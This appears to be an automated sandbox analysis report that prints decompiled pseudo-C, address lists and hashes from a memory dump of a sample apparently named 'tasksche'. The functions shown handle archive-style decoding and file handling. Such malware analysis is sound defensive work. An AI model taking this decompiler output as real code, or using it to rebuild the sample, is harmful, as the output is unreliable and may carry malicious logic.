										 *(_t316 + 0x20f7) = _t218 >> 0x00000003 & 0x00000001;
										 *((char*)(_t316 + 0x21f8)) = 0;
										 *_t252 = 0;
										__eflags = _t218 & 0x00000001;
										if((_t218 & 0x00000001) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											E0040B696(_t314, _t252,  *(_t318 + 0x74));
											 *((char*)(_t252 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t318 + 0x7c) & 0x00000002;
										if(( *(_t318 + 0x7c) & 0x00000002) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											_t253 = _t316 + 0x21f8;
											E0040B696(_t314, _t253,  *(_t318 + 0x74));
											 *((char*)(_t253 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t316 + 0x20f6);
										if( *(_t316 + 0x20f6) != 0) {
											 *((intOrPtr*)(_t316 + 0x22f8)) = E0040B60D(_t312);
										}
										__eflags =  *(_t316 + 0x20f7);
										if( *(_t316 + 0x20f7) != 0) {
											 *((intOrPtr*)(_t316 + 0x22fc)) = E0040B60D(_t312);
										}
										 *((char*)(_t316 + 0x20f5)) = 1;
										goto L81;
									}
									if(_t217 != 1) {
										goto L81;
									}
									if(_t262 == 3) {
										_t232 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t318 + 0x78);
										if(_t232 == 1) {
											_t247 = _t247 + _t232;
											asm("adc eax, edx");
										}
									}
									E00401C1D(_t316 + 0x1020, _t247);
									_push(_t247);
									_push( *((intOrPtr*)(_t316 + 0x1020)));
									goto L33;
								}
							} else {
								L81:
								 *(_t314 + 0x18) =  *(_t318 + 0x78);
								_t142 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t314 + 0x18);
								if(_t142 >= 2) {
									continue;
								}
								break;
							}
						}
					}
				}
			}

0x0040272e
0x0040272f
0x00402738
0x0040273e
0x00402741
0x00402744
0x00402749
0x0040274f
0x00402c84
0x00402c88
0x00402c88
0x00402757
0x0040275d
0x00402764
0x00402768
0x0040276a
0x00402773
0x00402776
0x00000000
0x00000000
0x0040277c
0x00402782
0x00402784
0x00000000
0x00000000
0x0040278c
0x0040278f
0x00000000
0x0040279f
0x0040279f
0x004027a4
0x004027a7
0x004027ac
0x004027af
0x004027b7
0x004027ba
0x004027bd
0x004027ca
0x004027cd
0x004027d2
0x004027d7
0x004027db
0x004027e0
0x004027e5
0x004027e7
0x004027f9
0x004027fb
0x004027fe
0x004027fe
0x004027e5
0x00402805
0x00402809
0x0040280e
0x00402813
0x00402815
0x00402827
0x00402829
0x0040282c
0x0040282c
0x00402813
0x00402805
0x0040282f
0x00402835
0x00402840
0x00402842
0x00402845
0x00000000
0x00402857
0x0040285a
0x0040285b
0x00402b57
0x00402b5c
0x00402b5e
0x00402b73
0x00402b7f
0x00402b89
0x00402b94
0x00402b97
0x00402b9d
0x00402ba0
0x00402ba9
0x00402ba9
0x00402bb9
0x00402bc9
0x00402bce
0x00402bd5
0x00402bd9
0x00402be2
0x00402bef
0x00402bf8
0x00402c04
0x00402c11
0x00402c20
0x00402c25
0x00402c2a
0x00402c2e
0x00402c32
0x00402c38
0x00402c42
0x00402c47
0x00402c4a
0x00402c4c
0x00402c4e
0x00402c4e
0x00402c4c
0x00402c38
0x00402c54
0x00402c5b
0x00402c65
0x00402b60
0x00402b67
0x00402b67
0x00000000
0x00402b5e
0x00402861
0x00402862
0x00402b30
0x00402b35
0x00402b37
0x00000000
0x00000000
0x00402b3d
0x00402b45
0x00402b4f
0x004028b1
0x004028b3
0x00000000
0x004028b3
0x00402868
0x00402869
0x00402a68
0x00402a6b
0x00000000
0x00000000
0x00402a71
0x00402a7c
0x00402a7e
0x00402a85
0x00402a88
0x00402a8b
0x00402a8d
0x00402a8f
0x00402a91
0x00402a93
0x00402ab7
0x00402a95
0x00402aa3
0x00402aa3
0x00402a93
0x00402abc
0x00402ac0
0x00402ac2
0x00402ac4
0x00402ac6
0x00402aea
0x00402ac8
0x00402ad6
0x00402ad6
0x00402ac6
0x00402aef
0x00402af3
0x00402af9
0x00402afb
0x00402afd
0x00402b24
0x00402aff
0x00402b0d
0x00402b0d
0x00402afd
0x00000000
0x00402af3
0x00402a73
0x00402a76
0x00000000
0x00000000
0x00000000
0x00402a76
0x0040286f
0x00402870
0x00402a07
0x00402a0a
0x00000000
0x00000000
0x00402a10
0x00402a1b
0x00402a1d
0x00402a29
0x00402a2b
0x00402a3d
0x00402a44
0x00402a49
0x00402a5e
0x00402a5e
0x00000000
0x00402a2b
0x00402a12
0x00402a15
0x00000000
0x00000000
0x00000000
0x00402a15
0x00402876
0x00402877
0x00402996
0x0040299c
0x004029a3
0x004029a5
0x004029b0
0x004029b2
0x004029b9
0x004029bf
0x004029c9
0x004029cb
0x004029d0
0x004029d0
0x004029e5
0x004029fd
0x00000000
0x004029fd
0x0040287d
0x0040287e
0x004028bf
0x004028cc
0x004028da
0x004028e0
0x004028e3
0x004028e9
0x004028f0
0x004028f3
0x004028f5
0x004028fe
0x00402906
0x00402909
0x0040290b
0x0040290b
0x00402914
0x0040291c
0x0040291c
0x00402920
0x00402924
0x0040292d
0x00402935
0x00402938
0x0040293a
0x0040293a
0x00402940
0x00402949
0x00402951
0x00402951
0x00402955
0x0040295c
0x00402965
0x00402965
0x0040296b
0x00402972
0x0040297b
0x0040297b
0x00402981
0x00000000
0x00402981
0x00402881
0x00000000
0x00000000
0x0040288a
0x0040288f
0x00402895
0x00402897
0x0040289c
0x0040289c
0x00402895
0x004028a5
0x004028aa
0x004028ab
0x00000000
0x004028ab
0x00402c6c
0x00402c6c
0x00402c6f
0x00402c75
0x00402c7b
0x00000000
0x00000000
0x00000000
0x00402c7b
0x00402835
0x0040278f
0x00402c82

APIs

_swprintf.LIBCMT ref: 00402A44

Strings

;%u, xrefs: 00402A32

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _swprintf
String ID: ;%u
API String ID: 589789837-535004727
Opcode ID: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction ID: 268b90de5ef8301e543b0e1450f18e5b796866e9caf2f0e9a7a428077d8a2ebb
Opcode Fuzzy Hash: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction Fuzzy Hash: ADE114702007445ADB24EF75C699BEE77E5AF40304F04053FE996A72C2DBBCA984CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00416790 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 381
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00416790(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t176;
				signed int _t179;
				signed int _t180;
				void* _t181;
				signed int _t184;
				signed int _t185;
				signed int _t190;
				signed int _t194;
				signed int _t195;
				intOrPtr _t196;
				signed int _t197;
				signed int _t203;
				signed int _t215;
				signed int _t248;
				signed int _t250;
				intOrPtr* _t263;
				signed int _t264;
				signed int* _t266;
				signed int _t267;
				signed int* _t268;
				signed int* _t269;
				intOrPtr* _t270;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr _t281;
				signed int* _t310;
				void* _t319;
				signed int _t321;
				signed int* _t328;
				signed int _t329;
				void* _t330;
				void* _t332;
				signed int _t334;
				signed int _t335;
				void* _t338;
				signed int _t340;
				signed int _t342;
				void* _t343;
				void* _t345;
				void* _t346;
				void* _t347;
				void* _t349;

				_t319 = __edx;
				E0041A4DC(E0042981F, _t343);
				_t346 = _t345 - 0x24;
				_t332 = __ecx;
				_t263 = __ecx + 0xe694;
				_t176 = 0x8000;
				 *((intOrPtr*)(_t343 - 0x10)) = _t263;
				 *((intOrPtr*)(_t263 + 4)) = 0;
				 *_t263 = 0;
				if( *(_t343 + 0x10) <= 0x8000) {
					_t176 =  *(_t343 + 0x10);
				}
				E0041C290(_t263, 0, _t332,  *((intOrPtr*)(_t332 + 0xe6a0)),  *(_t343 + 0xc), _t176);
				_t347 = _t346 + 0xc;
				 *((intOrPtr*)(_t343 - 0x14)) = _t332 + 0xe65c;
				E0040AB32(_t332 + 0xe65c);
				_t352 =  *(_t343 + 8) & 0x00000080;
				if(( *(_t343 + 8) & 0x00000080) == 0) {
					_t179 =  *(_t332 + 0xe6d4);
					 *(_t343 + 0xc) = _t179;
					_t264 = _t179;
				} else {
					_t264 = E0040AB58(_t352, _t263);
					 *(_t343 + 0xc) = _t264;
					if(_t264 != 0) {
						_t264 = _t264 - 1;
						 *(_t343 + 0xc) = _t264;
					} else {
						E004152CD(_t332, 0);
					}
				}
				_t180 =  *(_t332 + 0xe6a8);
				if(_t264 > _t180 || _t264 >  *((intOrPtr*)(_t332 + 0xe6c8))) {
					L16:
					_t181 = 0;
					goto L17;
				} else {
					_push(0x70);
					 *(_t332 + 0xe6d4) = _t264;
					 *((char*)(_t343 + 0x13)) = _t264 == _t180;
					_t328 = E0041A89A(_t264, _t319, 0, _t264 - _t180);
					if(_t328 == 0) {
						_t328 = 0;
						__eflags = 0;
					} else {
						_t21 =  &(_t328[5]); // 0x14
						E004156C4(_t21);
					}
					if( *((char*)(_t343 + 0x13)) == 0) {
						_t184 =  *( *((intOrPtr*)(_t332 + 0xe6a4)) + _t264 * 4);
						_t328[4] = _t264;
						_t266 = _t184 + 8;
						 *_t266 =  *_t266 + 1;
						__eflags =  *_t266;
						 *(_t343 - 0x1c) = _t184;
						goto L23;
					} else {
						if(_t264 <= 0x2000) {
							E004129F9(_t332 + 0xe6a4, 1);
							_push(0x70);
							_t274 = E0041A89A(_t264, _t319, _t328, __eflags);
							__eflags = _t274;
							if(_t274 == 0) {
								_t274 = 0;
								__eflags = 0;
							} else {
								_t25 = _t274 + 0x14; // 0x14
								E004156C4(_t25);
							}
							 *( *((intOrPtr*)(_t332 + 0xe6a4)) +  *(_t332 + 0xe6a8) * 4 - 4) = _t274;
							 *(_t343 - 0x1c) = _t274;
							_t328[4] =  *(_t332 + 0xe6a8) - 1;
							E004148ED(_t332 + 0xe6c4, 0);
							_t266 = _t274 + 8;
							 *_t266 =  *_t266 & 0x00000000;
							L23:
							_t185 = 0;
							 *(_t343 - 0x18) = 0;
							 *(_t343 - 0x20) = 0;
							__eflags =  *(_t332 + 0xe6b8);
							if( *(_t332 + 0xe6b8) <= 0) {
								L30:
								__eflags =  *(_t332 + 0xe6b8) - 0x2000;
								if( *(_t332 + 0xe6b8) > 0x2000) {
									goto L16;
								}
								E004129F9(_t332 + 0xe6b4, 1);
								_t321 = 1;
								__eflags = 1;
								L32:
								 *( *((intOrPtr*)(_t332 + 0xe6b4)) + ( *(_t332 + 0xe6b8) - _t321) * 4) = _t328;
								_t328[2] =  *_t266;
								_t190 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
								__eflags =  *(_t343 + 8) & 0x00000040;
								_t267 = _t190;
								if(( *(_t343 + 8) & 0x00000040) != 0) {
									_t267 = _t267 + 0x102;
									__eflags = _t267;
								}
								__eflags =  *(_t343 + 8) & 0x00000020;
								 *_t328 =  *((intOrPtr*)(_t332 + 0x70)) + _t267 &  *(_t332 + 0xe6dc);
								if(__eflags == 0) {
									_t194 =  *(_t343 + 0xc);
									__eflags = _t194 -  *((intOrPtr*)(_t332 + 0xe6c8));
									if(_t194 >=  *((intOrPtr*)(_t332 + 0xe6c8))) {
										_t195 = 0;
										__eflags = 0;
									} else {
										_t195 =  *( *((intOrPtr*)(_t332 + 0xe6c4)) + _t194 * 4);
									}
									_t328[1] = _t195;
								} else {
									_t248 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
									_t328[1] = _t248;
									 *( *((intOrPtr*)(_t332 + 0xe6c4)) +  *(_t343 + 0xc) * 4) = _t248;
								}
								_t196 =  *((intOrPtr*)(_t332 + 0x74));
								_t281 =  *((intOrPtr*)(_t332 + 0x70));
								__eflags = _t196 - _t281;
								if(_t196 == _t281) {
									L43:
									_t197 = 0;
									__eflags = 0;
									goto L44;
								} else {
									__eflags = (_t196 - _t281 &  *(_t332 + 0xe6dc)) - _t267;
									if((_t196 - _t281 &  *(_t332 + 0xe6dc)) > _t267) {
										goto L43;
									}
									_t197 = 1;
									L44:
									_t91 =  &(_t328[0x13]); // 0x4c
									_t268 = _t91;
									_t328[3] = _t197;
									E0041A820(_t328, _t268, 0, 0x1c);
									_t328[0x17] = _t328[1];
									_t349 = _t347 + 0xc;
									__eflags =  *(_t343 + 8) & 0x00000010;
									_t328[0x16] = 0x3c000;
									_t328[0x18] = _t328[2];
									if(( *(_t343 + 8) & 0x00000010) == 0) {
										L49:
										__eflags =  *((char*)(_t343 + 0x13));
										if(__eflags == 0) {
											_t334 =  *(_t343 - 0x1c);
											L60:
											_t328[9] =  *(_t334 + 0x14);
											_t328[0xa] =  *(_t334 + 0x28);
											_t203 =  *(_t334 + 0x40);
											 *(_t343 + 0x10) = _t203;
											__eflags = _t203 - 1 - 0x1ffe;
											if(_t203 - 1 <= 0x1ffe) {
												_t136 =  &(_t328[0xf]); // 0x3c
												E00401106(_t136, _t203);
												E0041C290(_t136, _t328, _t334,  *_t136,  *((intOrPtr*)(_t334 + 0x3c)),  *(_t343 + 0x10));
												_t349 = _t349 + 0xc;
											}
											__eflags = _t328[0xc] - 0x40;
											if(_t328[0xc] < 0x40) {
												_t140 =  &(_t328[0xb]); // 0x2c
												E00401B67(_t140);
												E00401106(_t140, 0x40);
											}
											_t141 =  &(_t328[0xb]); // 0x2c
											_t269 = _t141;
											_t335 =  *_t269;
											_t142 =  &(_t328[0x13]); // 0x4c
											 *(_t343 + 0xc) = _t335;
											 *(_t343 + 0x10) = _t142;
											 *(_t343 - 0x20) = 7;
											do {
												E0040AB4B( *(_t343 + 0xc),  *( *(_t343 + 0x10)));
												 *(_t343 + 0x10) =  *(_t343 + 0x10) + 4;
												 *(_t343 + 0xc) =  *(_t343 + 0xc) + 4;
												_t153 = _t343 - 0x20;
												 *_t153 =  *(_t343 - 0x20) - 1;
												__eflags =  *_t153;
											} while ( *_t153 != 0);
											_t157 = _t335 + 0x1c; // 0x48
											E0040AB4B(_t157, _t328[1]);
											_t159 = _t335 + 0x20; // 0x4c
											E0040AB4B(_t159, 0);
											_t162 = _t335 + 0x2c; // 0x58
											E0040AB4B(_t162, _t328[2]);
											E0041A820(_t328, _t335 + 0x30, 0, 0x10);
											__eflags =  *(_t343 + 8) & 0x00000008;
											if(( *(_t343 + 8) & 0x00000008) == 0) {
												L74:
												_t181 = 1;
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t343 - 0xc));
												return _t181;
											}
											_t214 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if(__eflags >= 0) {
												goto L16;
											}
											_t215 = E0040AB58(__eflags, _t214);
											 *(_t343 + 8) = _t215;
											__eflags = _t215 - 0x1fc0;
											if(_t215 > 0x1fc0) {
												goto L16;
											}
											_t329 = _t328[0xc];
											_t169 = _t215 + 0x40; // 0x40
											__eflags = _t329 - _t169;
											if(_t329 < _t169) {
												__eflags = _t215 - _t329 + 0x40;
												E00401106(_t269, _t215 - _t329 + 0x40);
											}
											_t330 = 0;
											_t338 =  *_t269 + 0x40;
											__eflags =  *(_t343 + 8);
											if( *(_t343 + 8) <= 0) {
												goto L74;
											} else {
												while(1) {
													_t270 =  *((intOrPtr*)(_t343 - 0x10));
													__eflags =  *_t270 + 3 - 0x8000;
													if( *_t270 + 3 >= 0x8000) {
														goto L16;
													}
													 *((char*)(_t330 + _t338)) = E004097D1(_t270) >> 8;
													E004097BA(_t270, 8);
													_t330 = _t330 + 1;
													__eflags = _t330 -  *(_t343 + 8);
													if(_t330 <  *(_t343 + 8)) {
														continue;
													}
													goto L74;
												}
												goto L16;
											}
										}
										_t272 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										 *(_t343 + 0x10) = _t272;
										__eflags = _t272 - 0x10000;
										if(_t272 >= 0x10000) {
											goto L16;
										}
										_t340 = 0;
										__eflags = _t272;
										if(_t272 == 0) {
											goto L16;
										}
										E00406760(_t343 - 0x30, _t272);
										__eflags = _t272;
										_t273 =  *(_t343 - 0x30);
										 *(_t343 - 4) = 0;
										if(_t272 <= 0) {
											L55:
											_t334 =  *(_t343 - 0x1c);
											E0040AD8E( *((intOrPtr*)(_t343 - 0x14)), _t273,  *(_t343 + 0x10), _t334 + 0x14);
											 *(_t343 - 4) =  *(_t343 - 4) | 0xffffffff;
											__eflags = _t273;
											if(__eflags != 0) {
												_push(_t273);
												E0041A506(_t273, _t328, _t334, __eflags);
											}
											goto L60;
										} else {
											goto L53;
										}
										while(1) {
											L53:
											_t299 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if( *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 >= 0x8000) {
												break;
											}
											 *((char*)(_t273 + _t340)) = E004097D1(_t299) >> 8;
											E004097BA( *((intOrPtr*)(_t343 - 0x10)), 8);
											_t340 = _t340 + 1;
											__eflags = _t340 -  *(_t343 + 0x10);
											if(_t340 <  *(_t343 + 0x10)) {
												continue;
											}
											goto L55;
										}
										__eflags = _t273;
										if(__eflags != 0) {
											_push(_t273);
											E0041A506(_t273, _t328, _t340, __eflags);
										}
										goto L16;
									}
									_t342 = E004097D1( *((intOrPtr*)(_t343 - 0x10))) >> 9;
									E004097BA( *((intOrPtr*)(_t343 - 0x10)), 7);
									_t103 = _t343 + 0xc;
									 *_t103 =  *(_t343 + 0xc) & 0x00000000;
									__eflags =  *_t103;
									do {
										__eflags = _t342 & 1 <<  *(_t343 + 0xc);
										if(__eflags != 0) {
											 *_t268 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										}
										 *(_t343 + 0xc) =  *(_t343 + 0xc) + 1;
										_t268 =  &(_t268[1]);
										__eflags =  *(_t343 + 0xc) - 7;
									} while ( *(_t343 + 0xc) < 7);
									goto L49;
								}
							} else {
								goto L24;
							}
							do {
								L24:
								 *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + (_t185 -  *(_t343 - 0x18)) * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + _t185 * 4));
								_t250 =  *(_t343 - 0x20);
								_t310 =  *((intOrPtr*)(_t332 + 0xe6b4)) + _t250 * 4;
								__eflags =  *_t310;
								if( *_t310 == 0) {
									_t55 = _t343 - 0x18;
									 *_t55 =  *(_t343 - 0x18) + 1;
									__eflags =  *_t55;
								}
								_t321 =  *(_t343 - 0x18);
								__eflags = _t321;
								if(_t321 > 0) {
									 *_t310 =  *_t310 & 0x00000000;
									__eflags =  *_t310;
								}
								_t185 = _t250 + 1;
								 *(_t343 - 0x20) = _t185;
								__eflags = _t185 -  *(_t332 + 0xe6b8);
							} while (_t185 <  *(_t332 + 0xe6b8));
							__eflags = _t321;
							if(__eflags != 0) {
								goto L32;
							}
							goto L30;
						}
						if(_t328 != 0) {
							E00414F64(_t264, _t328, _t328, _t343, 1);
						}
						goto L16;
					}
				}
			}

0x00416790
0x00416795
0x0041679a
0x0041679f
0x004167a1
0x004167aa
0x004167b2
0x004167b5
0x004167b8
0x004167ba
0x004167bc
0x004167bc
0x004167c9
0x004167d4
0x004167d7
0x004167da
0x004167df
0x004167e3
0x00416804
0x0041680a
0x0041680d
0x004167e5
0x004167eb
0x004167ed
0x004167f2
0x004167fe
0x004167ff
0x004167f4
0x004167f7
0x004167f7
0x004167f2
0x0041680f
0x00416817
0x00416866
0x00416866
0x00000000
0x00416821
0x00416823
0x00416825
0x0041682b
0x00416834
0x00416839
0x00416845
0x00416845
0x0041683b
0x0041683b
0x0041683e
0x0041683e
0x0041684b
0x004168d8
0x004168db
0x004168de
0x004168e1
0x004168e1
0x004168e3
0x00000000
0x00416851
0x00416857
0x00416881
0x00416886
0x0041688d
0x00416890
0x00416892
0x0041689e
0x0041689e
0x00416894
0x00416894
0x00416897
0x00416897
0x004168ac
0x004168bf
0x004168c2
0x004168c5
0x004168ca
0x004168cd
0x004168e6
0x004168e6
0x004168e8
0x004168eb
0x004168ee
0x004168f4
0x0041693b
0x0041693b
0x00416945
0x00000000
0x00000000
0x00416953
0x0041695a
0x0041695a
0x0041695b
0x0041696c
0x00416971
0x00416974
0x00416979
0x0041697d
0x0041697f
0x00416981
0x00416981
0x00416981
0x00416992
0x00416996
0x00416998
0x004169b3
0x004169b6
0x004169bc
0x004169c9
0x004169c9
0x004169be
0x004169c4
0x004169c4
0x004169cb
0x0041699a
0x0041699d
0x004169a5
0x004169ae
0x004169ae
0x004169ce
0x004169d1
0x004169d4
0x004169d6
0x004169e9
0x004169e9
0x004169e9
0x00000000
0x004169d8
0x004169e0
0x004169e2
0x00000000
0x00000000
0x004169e6
0x004169eb
0x004169ed
0x004169ed
0x004169f3
0x004169f6
0x004169fe
0x00416a04
0x00416a07
0x00416a0b
0x00416a12
0x00416a15
0x00416a54
0x00416a54
0x00416a58
0x00416af6
0x00416af9
0x00416afc
0x00416b02
0x00416b05
0x00416b0b
0x00416b0e
0x00416b14
0x00416b16
0x00416b1c
0x00416b29
0x00416b2e
0x00416b2e
0x00416b31
0x00416b35
0x00416b37
0x00416b3c
0x00416b45
0x00416b45
0x00416b4a
0x00416b4a
0x00416b4d
0x00416b4f
0x00416b52
0x00416b55
0x00416b58
0x00416b5f
0x00416b6a
0x00416b6f
0x00416b73
0x00416b77
0x00416b77
0x00416b77
0x00416b77
0x00416b82
0x00416b86
0x00416b90
0x00416b94
0x00416b9f
0x00416ba3
0x00416bb0
0x00416bb8
0x00416bbc
0x00416c38
0x00416c38
0x00416868
0x0041686e
0x00416876
0x00416876
0x00416bbe
0x00416bc6
0x00416bcc
0x00000000
0x00000000
0x00416bd3
0x00416bd8
0x00416bdb
0x00416be0
0x00000000
0x00000000
0x00416be6
0x00416be9
0x00416bec
0x00416bee
0x00416bf2
0x00416bf8
0x00416bf8
0x00416bff
0x00416c01
0x00416c04
0x00416c07
0x00000000
0x00416c09
0x00416c09
0x00416c09
0x00416c11
0x00416c16
0x00000000
0x00000000
0x00416c2a
0x00416c2d
0x00416c32
0x00416c33
0x00416c36
0x00000000
0x00000000
0x00000000
0x00416c36
0x00000000
0x00416c09
0x00416c07
0x00416a66
0x00416a68
0x00416a6b
0x00416a71
0x00000000
0x00000000
0x00416a77
0x00416a79
0x00416a7b
0x00000000
0x00000000
0x00416a85
0x00416a8a
0x00416a8c
0x00416a8f
0x00416a92
0x00416abe
0x00416abe
0x00416acc
0x00416ad1
0x00416ad5
0x00416ad7
0x00416ad9
0x00416ada
0x00416adf
0x00000000
0x00000000
0x00000000
0x00000000
0x00416a94
0x00416a94
0x00416a94
0x00416a9c
0x00416aa1
0x00000000
0x00000000
0x00416ab0
0x00416ab3
0x00416ab8
0x00416ab9
0x00416abc
0x00000000
0x00000000
0x00000000
0x00416abc
0x00416ae2
0x00416ae4
0x00416aea
0x00416aeb
0x00416af0
0x00000000
0x00416ae4
0x00416a26
0x00416a29
0x00416a2e
0x00416a2e
0x00416a2e
0x00416a32
0x00416a3a
0x00416a3c
0x00416a46
0x00416a46
0x00416a48
0x00416a4b
0x00416a4e
0x00416a4e
0x00000000
0x00416a32
0x00000000
0x00000000
0x00000000
0x004168f6
0x004168f6
0x0041690a
0x00416913
0x00416916
0x00416919
0x0041691c
0x0041691e
0x0041691e
0x0041691e
0x0041691e
0x00416921
0x00416924
0x00416926
0x00416928
0x00416928
0x00416928
0x0041692b
0x0041692c
0x0041692f
0x0041692f
0x00416937
0x00416939
0x00000000
0x00000000
0x00000000
0x00416939
0x0041685b
0x00416861
0x00416861
0x00000000
0x0041685b
0x0041684b

APIs

__EH_prolog.LIBCMT ref: 00416795

Part of subcall function 004129F9: _realloc.LIBCMT ref: 00412A51

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

_memset.LIBCMT ref: 004169F6
_memset.LIBCMT ref: 00416BB0

Strings

, xrefs: 00416992

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc_realloc
String ID:
API String ID: 1826288403-3916222277
Opcode ID: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction ID: b2eea235d821e150737843ebb12b5e68f22e0a3d12c725fcd3f3b3fef6346f43
Opcode Fuzzy Hash: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction Fuzzy Hash: 92E1BF71A007499FCB10EF65C980BEEB7B1FF14304F11482EE956A7281DB39E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00418B3D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00418B3D(intOrPtr __edx, intOrPtr* _a4, char _a7, signed int _a8, char _a11, short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v4120;
				char _v8216;
				void* __ebx;
				void* __ebp;
				intOrPtr _t93;
				intOrPtr _t107;
				signed int _t116;
				signed int _t123;
				intOrPtr _t137;
				signed int _t150;
				intOrPtr _t151;
				intOrPtr* _t157;
				intOrPtr* _t166;
				intOrPtr _t178;
				intOrPtr _t180;
				signed int _t183;
				intOrPtr _t184;
				intOrPtr* _t187;
				void* _t188;

				_t178 = __edx;
				E0041AAF0(0x2014);
				_t187 = _a4;
				_v12 =  *((intOrPtr*)(_t187 + 0x6524));
				_t93 =  *((intOrPtr*)(_t187 + 0x6544));
				_v16 = _t93;
				if(_t93 != 3) {
					_t151 = _t187 + 0x65e8;
					_v8 = _t151;
					_t180 = _t151;
					__eflags = _t93 - 2;
					if(__eflags != 0) {
						L4:
						_a7 = 0;
						L5:
						_t150 = _a8;
						if(_t150 == 0 || _a7 == 0) {
							L12:
							_v24 =  *((intOrPtr*)( *_t187 + 0x10))();
							_v20 = _t178;
							if(_t150 != 0) {
								 *((intOrPtr*)(_t150 + 0x21f8)) =  *((intOrPtr*)(_t150 + 0x21f8)) + E00408E03(_t187, _t178);
								asm("adc [edi+0x4], edx");
							}
							E00408A32(_t187);
							E0040A8A1( &_v4120, 0x800, (E0041A7F7( &_v4120, _t187 + 0x1e) & 0xffffff00 |  *((char*)(_t187 + 0xb05a)) == 0x00000000) & 0x000000ff);
							asm("sbb edi, edi");
							_a11 = 0;
							_t183 =  ~( *(_v12 + 0x5195) & 0x000000ff) & 0x00000004;
							while(1) {
								_push(_t183);
								_push( &_v4120);
								_t157 = _t187;
								if( *((intOrPtr*)( *_t187 + 4))() != 0) {
									break;
								}
								__eflags = _t150;
								if(_t150 != 0) {
									 *(_t150 + 0x2200) =  *(_t150 + 0x2200) & 0x00000000;
									_t38 = _t150 + 0x2204;
									 *_t38 =  *(_t150 + 0x2204) & 0x00000000;
									__eflags =  *_t38;
								}
								__eflags = _a11;
								if(_a11 != 0) {
									L19:
									_t107 = _v12;
									__eflags =  *((char*)(_t107 + 0x517c));
									if( *((char*)(_t107 + 0x517c)) != 0) {
										L25:
										E00406376(0x44,  &_v4120);
										 *((intOrPtr*)( *_t187 + 4))(_t187 + 0x1e, _t183);
										 *((intOrPtr*)( *_t187 + 0xc))(_v24, _v20, 0);
										return 0;
									}
									_t116 = L00411987(_t157,  &_v4120, 0x800);
									__eflags = _t116;
									if(_t116 == 0) {
										goto L25;
									}
									continue;
								} else {
									E0041A7F7( &_v8216, _t187 + 0x1e);
									E0040A8A1( &_v8216, 0x800, 1);
									_t157 = _t187;
									_a11 = 1;
									_t123 =  *((intOrPtr*)( *_t187 + 4))( &_v8216, _t183);
									__eflags = _t123;
									if(_t123 != 0) {
										E0041A7F7( &_v4120,  &_v8216);
										break;
									}
									goto L19;
								}
							}
